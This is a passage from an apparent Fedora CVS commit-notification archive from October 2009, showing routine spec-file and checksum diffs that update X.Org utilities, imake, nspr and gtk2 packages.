retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- sources	13 Oct 2009 19:36:13 -0000	1.18
+++ sources	13 Oct 2009 19:42:02 -0000	1.19
@@ -13,3 +13,4 @@ d074e79d380b031d2f60e4cd56538c93  xsetmo
 975ade3f238c1eb10705da0a91e6e8e7  iceauth-1.0.3.tar.bz2
 00e834c3cbfd990e9d7d5ddc834242df  sessreg-1.0.5.tar.bz2
 8dd881cd5a7dcb6e456549817f0fb475  xrdb-1.0.6.tar.bz2
+bbe021f812e0014a8ee3692317788119  xmodmap-1.0.4.tar.bz2


Index: xorg-x11-server-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server-utils/devel/xorg-x11-server-utils.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- xorg-x11-server-utils.spec	13 Oct 2009 19:36:13 -0000	1.48
+++ xorg-x11-server-utils.spec	13 Oct 2009 19:42:02 -0000	1.49
@@ -5,7 +5,7 @@
 Summary: X.Org X11 X server utilities
 Name: xorg-x11-%{pkgname}
 Version: 7.4
-Release: 12%{?dist}
+Release: 13?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
@@ -17,7 +17,7 @@ Source3:  http://www.x.org/pub/individua
 Source4:  http://www.x.org/pub/individual/app/xcmsdb-1.0.1.tar.bz2
 Source5:  http://www.x.org/pub/individual/app/xgamma-1.0.2.tar.bz2
 Source6:  http://www.x.org/pub/individual/app/xhost-1.0.2.tar.bz2
-Source7:  http://www.x.org/pub/individual/app/xmodmap-1.0.3.tar.bz2
+Source7:  http://www.x.org/pub/individual/app/xmodmap-1.0.4.tar.bz2
 Source8:  http://www.x.org/pub/individual/app/xrandr-1.3.0.tar.bz2
 Source9:  http://www.x.org/pub/individual/app/xrdb-1.0.6.tar.bz2
 Source10: http://www.x.org/pub/individual/app/xrefresh-1.0.2.tar.bz2
@@ -168,9 +168,10 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
-* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-12
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-13
 - iceauth 1.0.3
 - sessreg 1.0.5
+- xmodmap 1.0.4
 - xrdb 1.0.6
 
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 7.4-11



From ajax at fedoraproject.org  Tue Oct 13 19:43:16 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 19:43:16 +0000 (UTC)
Subject: rpms/xorg-x11-server-utils/F-12 sources, 1.19,
	1.20 xorg-x11-server-utils.spec, 1.49, 1.50
Message-ID: <20091013194316.7754D11C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-server-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19853

Modified Files:
	sources xorg-x11-server-utils.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-13
- iceauth 1.0.3
- sessreg 1.0.5
- xmodmap 1.0.4
- xrdb 1.0.6



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server-utils/F-12/sources,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- sources	13 Oct 2009 19:37:44 -0000	1.19
+++ sources	13 Oct 2009 19:43:16 -0000	1.20
@@ -13,3 +13,4 @@ d074e79d380b031d2f60e4cd56538c93  xsetmo
 975ade3f238c1eb10705da0a91e6e8e7  iceauth-1.0.3.tar.bz2
 00e834c3cbfd990e9d7d5ddc834242df  sessreg-1.0.5.tar.bz2
 8dd881cd5a7dcb6e456549817f0fb475  xrdb-1.0.6.tar.bz2
+bbe021f812e0014a8ee3692317788119  xmodmap-1.0.4.tar.bz2


Index: xorg-x11-server-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server-utils/F-12/xorg-x11-server-utils.spec,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- xorg-x11-server-utils.spec	13 Oct 2009 19:37:44 -0000	1.49
+++ xorg-x11-server-utils.spec	13 Oct 2009 19:43:16 -0000	1.50
@@ -5,7 +5,7 @@
 Summary: X.Org X11 X server utilities
 Name: xorg-x11-%{pkgname}
 Version: 7.4
-Release: 12%{?dist}
+Release: 13?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
@@ -17,7 +17,7 @@ Source3:  http://www.x.org/pub/individua
 Source4:  http://www.x.org/pub/individual/app/xcmsdb-1.0.1.tar.bz2
 Source5:  http://www.x.org/pub/individual/app/xgamma-1.0.2.tar.bz2
 Source6:  http://www.x.org/pub/individual/app/xhost-1.0.2.tar.bz2
-Source7:  http://www.x.org/pub/individual/app/xmodmap-1.0.3.tar.bz2
+Source7:  http://www.x.org/pub/individual/app/xmodmap-1.0.4.tar.bz2
 Source8:  http://www.x.org/pub/individual/app/xrandr-1.3.0.tar.bz2
 Source9:  http://www.x.org/pub/individual/app/xrdb-1.0.6.tar.bz2
 Source10: http://www.x.org/pub/individual/app/xrefresh-1.0.2.tar.bz2
@@ -168,9 +168,10 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
-* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-12
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-13
 - iceauth 1.0.3
 - sessreg 1.0.5
+- xmodmap 1.0.4
 - xrdb 1.0.6
 
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 7.4-11



From ajax at fedoraproject.org  Tue Oct 13 19:44:29 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 19:44:29 +0000 (UTC)
Subject: rpms/xorg-x11-server-utils/devel xorg-x11-server-utils.spec, 1.49, 
	1.50
Message-ID: <20091013194429.3384411C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-server-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20137

Modified Files:
	xorg-x11-server-utils.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-13
- iceauth 1.0.3
- sessreg 1.0.5
- xmodmap 1.0.4
- xrdb 1.0.6



Index: xorg-x11-server-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server-utils/devel/xorg-x11-server-utils.spec,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- xorg-x11-server-utils.spec	13 Oct 2009 19:42:02 -0000	1.49
+++ xorg-x11-server-utils.spec	13 Oct 2009 19:44:27 -0000	1.50
@@ -5,7 +5,7 @@
 Summary: X.Org X11 X server utilities
 Name: xorg-x11-%{pkgname}
 Version: 7.4
-Release: 13?dist}
+Release: 13%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org



From ajax at fedoraproject.org  Tue Oct 13 19:45:34 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 19:45:34 +0000 (UTC)
Subject: rpms/xorg-x11-server-utils/F-12 xorg-x11-server-utils.spec, 1.50,
	1.51
Message-ID: <20091013194534.B368111C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-server-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20738

Modified Files:
	xorg-x11-server-utils.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-13
- iceauth 1.0.3
- sessreg 1.0.5
- xmodmap 1.0.4
- xrdb 1.0.6



Index: xorg-x11-server-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-server-utils/F-12/xorg-x11-server-utils.spec,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- xorg-x11-server-utils.spec	13 Oct 2009 19:43:16 -0000	1.50
+++ xorg-x11-server-utils.spec	13 Oct 2009 19:45:34 -0000	1.51
@@ -5,7 +5,7 @@
 Summary: X.Org X11 X server utilities
 Name: xorg-x11-%{pkgname}
 Version: 7.4
-Release: 13?dist}
+Release: 13%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org



From ajax at fedoraproject.org  Tue Oct 13 19:49:55 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 19:49:55 +0000 (UTC)
Subject: rpms/imake/devel .cvsignore, 1.8, 1.9 imake.spec, 1.34, 1.35 sources,
	1.7, 1.8
Message-ID: <20091013194955.5489F11C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/imake/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21633

Modified Files:
	.cvsignore imake.spec sources 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.0.2-11
- makedepend 1.0.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/imake/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	26 Mar 2007 19:12:53 -0000	1.8
+++ .cvsignore	13 Oct 2009 19:49:54 -0000	1.9
@@ -3,3 +3,4 @@ imake-1.0.2.tar.bz2
 lndir-1.0.1.tar.bz2
 xorg-cf-files-1.0.2.tar.bz2
 makedepend-1.0.1.tar.bz2
+makedepend-1.0.2.tar.bz2


Index: imake.spec
===================================================================
RCS file: /cvs/pkgs/rpms/imake/devel/imake.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- imake.spec	25 Jul 2009 03:17:46 -0000	1.34
+++ imake.spec	13 Oct 2009 19:49:54 -0000	1.35
@@ -1,14 +1,14 @@
 Summary: imake source code configuration and build system
 Name: imake
 Version: 1.0.2
-Release: 10%{?dist}
+Release: 11%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Source0: ftp://ftp.x.org/pub/individual/util/imake-1.0.2.tar.bz2
-Source1: ftp://ftp.x.org/pub/individual/util/makedepend-1.0.1.tar.bz2
+Source1: ftp://ftp.x.org/pub/individual/util/makedepend-1.0.2.tar.bz2
 Source2: ftp://ftp.x.org/pub/individual/util/gccmakedep-1.0.2.tar.bz2
 Source3: ftp://ftp.x.org/pub/individual/util/xorg-cf-files-1.0.2.tar.bz2
 Source4: ftp://ftp.x.org/pub/individual/util/lndir-1.0.1.tar.bz2
@@ -119,6 +119,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/xmkmf.1x*
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.0.2-11
+- makedepend 1.0.2
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.2-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/imake/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	26 Mar 2007 19:12:53 -0000	1.7
+++ sources	13 Oct 2009 19:49:54 -0000	1.8
@@ -3,3 +3,4 @@ b533c0771dbbaf9b041ff35bb941d3a2  gccmak
 e274ea9f55dfd62afa0a7b1e1ab4ba96  lndir-1.0.1.tar.bz2
 5f62dd5545b782c74f6e4e70d0e6552c  xorg-cf-files-1.0.2.tar.bz2
 54ab2549d723e51ff2b9cff4d8bf44d1  makedepend-1.0.1.tar.bz2
+62e58330fe8d1e3e28c7a45779833a48  makedepend-1.0.2.tar.bz2



From ajax at fedoraproject.org  Tue Oct 13 19:57:34 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 19:57:34 +0000 (UTC)
Subject: rpms/imake/F-12 imake.spec,1.34,1.35 sources,1.7,1.8
Message-ID: <20091013195734.3040511C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/imake/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23234

Modified Files:
	imake.spec sources 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.0.2-11
- makedepend 1.0.2



Index: imake.spec
===================================================================
RCS file: /cvs/pkgs/rpms/imake/F-12/imake.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- imake.spec	25 Jul 2009 03:17:46 -0000	1.34
+++ imake.spec	13 Oct 2009 19:57:33 -0000	1.35
@@ -1,14 +1,14 @@
 Summary: imake source code configuration and build system
 Name: imake
 Version: 1.0.2
-Release: 10%{?dist}
+Release: 11%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Source0: ftp://ftp.x.org/pub/individual/util/imake-1.0.2.tar.bz2
-Source1: ftp://ftp.x.org/pub/individual/util/makedepend-1.0.1.tar.bz2
+Source1: ftp://ftp.x.org/pub/individual/util/makedepend-1.0.2.tar.bz2
 Source2: ftp://ftp.x.org/pub/individual/util/gccmakedep-1.0.2.tar.bz2
 Source3: ftp://ftp.x.org/pub/individual/util/xorg-cf-files-1.0.2.tar.bz2
 Source4: ftp://ftp.x.org/pub/individual/util/lndir-1.0.1.tar.bz2
@@ -119,6 +119,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/xmkmf.1x*
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.0.2-11
+- makedepend 1.0.2
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.2-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/imake/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	26 Mar 2007 19:12:53 -0000	1.7
+++ sources	13 Oct 2009 19:57:34 -0000	1.8
@@ -3,3 +3,4 @@ b533c0771dbbaf9b041ff35bb941d3a2  gccmak
 e274ea9f55dfd62afa0a7b1e1ab4ba96  lndir-1.0.1.tar.bz2
 5f62dd5545b782c74f6e4e70d0e6552c  xorg-cf-files-1.0.2.tar.bz2
 54ab2549d723e51ff2b9cff4d8bf44d1  makedepend-1.0.1.tar.bz2
+62e58330fe8d1e3e28c7a45779833a48  makedepend-1.0.2.tar.bz2



From ajax at fedoraproject.org  Tue Oct 13 19:59:51 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 19:59:51 +0000 (UTC)
Subject: rpms/xorg-x11-font-utils/devel .cvsignore, 1.13, 1.14 sources, 1.13,
	1.14 xorg-x11-font-utils.spec, 1.33, 1.34
Message-ID: <20091013195951.4046211C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-font-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23781

Modified Files:
	.cvsignore sources xorg-x11-font-utils.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.2-10
- mkfontscale 1.0.7
- mkfontdir 1.0.5



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-font-utils/devel/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	26 Apr 2007 14:44:44 -0000	1.13
+++ .cvsignore	13 Oct 2009 19:59:49 -0000	1.14
@@ -3,3 +3,5 @@ fonttosfnt-1.0.3.tar.bz2
 mkfontdir-1.0.3.tar.bz2
 mkfontscale-1.0.1.tar.bz2
 bdftopcf-1.0.1.tar.bz2
+mkfontscale-1.0.7.tar.bz2
+mkfontdir-1.0.5.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-font-utils/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	26 Apr 2007 14:44:44 -0000	1.13
+++ sources	13 Oct 2009 19:59:49 -0000	1.14
@@ -1,5 +1,5 @@
 b81535f78fe05732931f02841e5ca37b  font-util-1.0.1.tar.bz2
 b0ebd86029571239b9d7b0c61191b591  fonttosfnt-1.0.3.tar.bz2
-4d0f89a23f77e22f1671a77bf0898955  mkfontdir-1.0.3.tar.bz2
-1e74e68eb9e8e91c6b7b615d80dc5ee1  mkfontscale-1.0.1.tar.bz2
 9685fab33d39954ab8a0d22e0969d5a4  bdftopcf-1.0.1.tar.bz2
+96ca346f185c0ab48e42bf5bb0375da5  mkfontscale-1.0.7.tar.bz2
+9365ac66d19186eaf030482d312fca06  mkfontdir-1.0.5.tar.bz2


Index: xorg-x11-font-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-font-utils/devel/xorg-x11-font-utils.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- xorg-x11-font-utils.spec	27 Jul 2009 08:36:22 -0000	1.33
+++ xorg-x11-font-utils.spec	13 Oct 2009 19:59:49 -0000	1.34
@@ -5,7 +5,7 @@ Name: xorg-x11-%{pkgname}
 # IMPORTANT: If package ever gets renamed to something else, remove the Epoch line!
 Epoch: 1
 Version: 7.2
-Release: 9%{?dist}
+Release: 10%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
@@ -13,20 +13,17 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/app/bdftopcf-1.0.1.tar.bz2
 Source1: ftp://ftp.x.org/pub/individual/app/fonttosfnt-1.0.3.tar.bz2
-Source2: ftp://ftp.x.org/pub/individual/app/mkfontdir-1.0.3.tar.bz2
-Source3: ftp://ftp.x.org/pub/individual/app/mkfontscale-1.0.1.tar.bz2
+Source2: ftp://ftp.x.org/pub/individual/app/mkfontdir-1.0.5.tar.bz2
+Source3: ftp://ftp.x.org/pub/individual/app/mkfontscale-1.0.7.tar.bz2
 Source4: ftp://ftp.x.org/pub/individual/font/font-util-1.0.1.tar.bz2
 
 Patch0: font-util-1.0.1-mapdir-use-datadir-fix.patch
 Patch1: font-util-1.0.1-autoconf-add-with-fontdir-option.patch
 
-BuildRequires: pkgconfig
-BuildRequires: libXfont-devel
-BuildRequires: libX11-devel
+BuildRequires: pkgconfig(xfont) pkgconfig(x11)
 BuildRequires: libfontenc-devel >= 0.99.2-2
 BuildRequires: freetype-devel
 BuildRequires: zlib-devel
-
 BuildRequires: autoconf
 
 Provides: %{pkgname}
@@ -116,6 +113,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.2-10
+- mkfontscale 1.0.7
+- mkfontdir 1.0.5
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:7.2-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kengert at fedoraproject.org  Tue Oct 13 20:01:47 2009
From: kengert at fedoraproject.org (Kai Engert)
Date: Tue, 13 Oct 2009 20:01:47 +0000 (UTC)
Subject: rpms/nspr/F-12 .cvsignore, 1.20, 1.21 nspr.spec, 1.45, 1.46 sources,
	1.21, 1.22
Message-ID: <20091013200147.8938611C00E8@cvs1.fedora.phx.redhat.com>

Author: kengert

Update of /cvs/extras/rpms/nspr/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24291

Modified Files:
	.cvsignore nspr.spec sources 
Log Message:
* Tue Oct 13 2009 Kai Engert <kaie at redhat.com> - 4.8.2-1
- update to 4.8.2




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/nspr/F-12/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	30 Jun 2009 15:56:22 -0000	1.20
+++ .cvsignore	13 Oct 2009 20:01:47 -0000	1.21
@@ -1 +1 @@
-nspr-4.8.tar.bz2
+nspr-4.8.2.tar.bz2


Index: nspr.spec
===================================================================
RCS file: /cvs/extras/rpms/nspr/F-12/nspr.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- nspr.spec	25 Jul 2009 19:34:02 -0000	1.45
+++ nspr.spec	13 Oct 2009 20:01:47 -0000	1.46
@@ -1,7 +1,7 @@
 Summary:        Netscape Portable Runtime
 Name:           nspr
-Version:        4.8
-Release:        2%{?dist}
+Version:        4.8.2
+Release:        1%{?dist}
 License:        MPLv1.1 or GPLv2+ or LGPLv2+
 URL:            http://www.mozilla.org/projects/nspr/
 Group:          System Environment/Libraries
@@ -131,6 +131,9 @@ done
 %{_bindir}/nspr-config
 
 %changelog
+* Tue Oct 13 2009 Kai Engert <kaie at redhat.com> - 4.8.2-1
+- update to 4.8.2
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.8-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/nspr/F-12/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	30 Jun 2009 15:56:22 -0000	1.21
+++ sources	13 Oct 2009 20:01:47 -0000	1.22
@@ -1 +1 @@
-340a3a63804941efc5914064bc7098a7  nspr-4.8.tar.bz2
+7ee1daed80a9d33263afd95d701095dc  nspr-4.8.2.tar.bz2



From ajax at fedoraproject.org  Tue Oct 13 20:02:37 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 20:02:37 +0000 (UTC)
Subject: rpms/xorg-x11-font-utils/F-12 sources, 1.13,
	1.14 xorg-x11-font-utils.spec, 1.33, 1.34
Message-ID: <20091013200237.9E4A611C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-font-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24541

Modified Files:
	sources xorg-x11-font-utils.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.2-10
- mkfontscale 1.0.7
- mkfontdir 1.0.5



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-font-utils/F-12/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	26 Apr 2007 14:44:44 -0000	1.13
+++ sources	13 Oct 2009 20:02:37 -0000	1.14
@@ -1,5 +1,5 @@
 b81535f78fe05732931f02841e5ca37b  font-util-1.0.1.tar.bz2
 b0ebd86029571239b9d7b0c61191b591  fonttosfnt-1.0.3.tar.bz2
-4d0f89a23f77e22f1671a77bf0898955  mkfontdir-1.0.3.tar.bz2
-1e74e68eb9e8e91c6b7b615d80dc5ee1  mkfontscale-1.0.1.tar.bz2
 9685fab33d39954ab8a0d22e0969d5a4  bdftopcf-1.0.1.tar.bz2
+96ca346f185c0ab48e42bf5bb0375da5  mkfontscale-1.0.7.tar.bz2
+9365ac66d19186eaf030482d312fca06  mkfontdir-1.0.5.tar.bz2


Index: xorg-x11-font-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-font-utils/F-12/xorg-x11-font-utils.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- xorg-x11-font-utils.spec	27 Jul 2009 08:36:22 -0000	1.33
+++ xorg-x11-font-utils.spec	13 Oct 2009 20:02:37 -0000	1.34
@@ -5,7 +5,7 @@ Name: xorg-x11-%{pkgname}
 # IMPORTANT: If package ever gets renamed to something else, remove the Epoch line!
 Epoch: 1
 Version: 7.2
-Release: 9%{?dist}
+Release: 10%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
@@ -13,20 +13,17 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 Source0: ftp://ftp.x.org/pub/individual/app/bdftopcf-1.0.1.tar.bz2
 Source1: ftp://ftp.x.org/pub/individual/app/fonttosfnt-1.0.3.tar.bz2
-Source2: ftp://ftp.x.org/pub/individual/app/mkfontdir-1.0.3.tar.bz2
-Source3: ftp://ftp.x.org/pub/individual/app/mkfontscale-1.0.1.tar.bz2
+Source2: ftp://ftp.x.org/pub/individual/app/mkfontdir-1.0.5.tar.bz2
+Source3: ftp://ftp.x.org/pub/individual/app/mkfontscale-1.0.7.tar.bz2
 Source4: ftp://ftp.x.org/pub/individual/font/font-util-1.0.1.tar.bz2
 
 Patch0: font-util-1.0.1-mapdir-use-datadir-fix.patch
 Patch1: font-util-1.0.1-autoconf-add-with-fontdir-option.patch
 
-BuildRequires: pkgconfig
-BuildRequires: libXfont-devel
-BuildRequires: libX11-devel
+BuildRequires: pkgconfig(xfont) pkgconfig(x11)
 BuildRequires: libfontenc-devel >= 0.99.2-2
 BuildRequires: freetype-devel
 BuildRequires: zlib-devel
-
 BuildRequires: autoconf
 
 Provides: %{pkgname}
@@ -116,6 +113,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.2-10
+- mkfontscale 1.0.7
+- mkfontdir 1.0.5
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:7.2-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mclasen at fedoraproject.org  Tue Oct 13 20:03:53 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 13 Oct 2009 20:03:53 +0000 (UTC)
Subject: rpms/gtk2/F-12 system-python.patch,NONE,1.1 gtk2.spec,1.410,1.411
Message-ID: <20091013200353.0A88611C00E8@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24801

Modified Files:
	gtk2.spec 
Added Files:
	system-python.patch 
Log Message:
Use system python


system-python.patch:
 gtk-builder-convert |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE system-python.patch ---
diff -up gtk+-2.18.2/gtk/gtk-builder-convert.system-python gtk+-2.18.2/gtk/gtk-builder-convert
--- gtk+-2.18.2/gtk/gtk-builder-convert.system-python	2009-10-13 15:59:50.423385098 -0400
+++ gtk+-2.18.2/gtk/gtk-builder-convert	2009-10-13 16:00:31.876142050 -0400
@@ -1,4 +1,4 @@
-#!/usr/bin/env python
+#!/usr/bin/python
 #
 # Copyright (C) 2006-2008 Async Open Source
 #                         Henrique Romano <henrique at async.com.br>


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.410
retrieving revision 1.411
diff -u -p -r1.410 -r1.411
--- gtk2.spec	9 Oct 2009 05:14:07 -0000	1.410
+++ gtk2.spec	13 Oct 2009 20:03:52 -0000	1.411
@@ -31,6 +31,8 @@ Patch0: gtk+-2.13.5-lib64.patch
 # from upstream
 Patch1: select-final-char.patch
 
+Patch2: system-python.patch
+
 BuildRequires: atk-devel >= %{atk_version}
 BuildRequires: pango-devel >= %{pango_version}
 BuildRequires: glib2-devel >= %{glib2_version}
@@ -142,6 +144,7 @@ This package contains developer document
 
 %patch0 -p1 -b .lib64
 %patch1 -p1 -b .select-final-char
+%patch2 -p1 -b .system-python
 
 %build
 libtoolize --force --copy
@@ -378,6 +381,9 @@ fi
 
 
 %changelog
+* Tue Oct 13 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.2-3
+- Make gtk-builder-convert use system python
+
 * Fri Oct  9 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.2-2
 - Make selecting the final char work again (#528072)
 



From kengert at fedoraproject.org  Tue Oct 13 20:04:03 2009
From: kengert at fedoraproject.org (Kai Engert)
Date: Tue, 13 Oct 2009 20:04:03 +0000 (UTC)
Subject: rpms/nspr/F-11 .cvsignore, 1.20, 1.21 nspr.spec, 1.44, 1.45 sources,
	1.21, 1.22
Message-ID: <20091013200403.7531711C00E8@cvs1.fedora.phx.redhat.com>

Author: kengert

Update of /cvs/extras/rpms/nspr/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24829

Modified Files:
	.cvsignore nspr.spec sources 
Log Message:
* Tue Oct 13 2009 Kai Engert <kaie at redhat.com> - 4.8.2-1
- update to 4.8.2




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/nspr/F-11/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	30 Jun 2009 15:59:21 -0000	1.20
+++ .cvsignore	13 Oct 2009 20:04:03 -0000	1.21
@@ -1 +1 @@
-nspr-4.8.tar.bz2
+nspr-4.8.2.tar.bz2


Index: nspr.spec
===================================================================
RCS file: /cvs/extras/rpms/nspr/F-11/nspr.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- nspr.spec	30 Jun 2009 15:59:21 -0000	1.44
+++ nspr.spec	13 Oct 2009 20:04:03 -0000	1.45
@@ -1,6 +1,6 @@
 Summary:        Netscape Portable Runtime
 Name:           nspr
-Version:        4.8
+Version:        4.8.2
 Release:        1%{?dist}
 License:        MPLv1.1 or GPLv2+ or LGPLv2+
 URL:            http://www.mozilla.org/projects/nspr/
@@ -131,6 +131,9 @@ done
 %{_bindir}/nspr-config
 
 %changelog
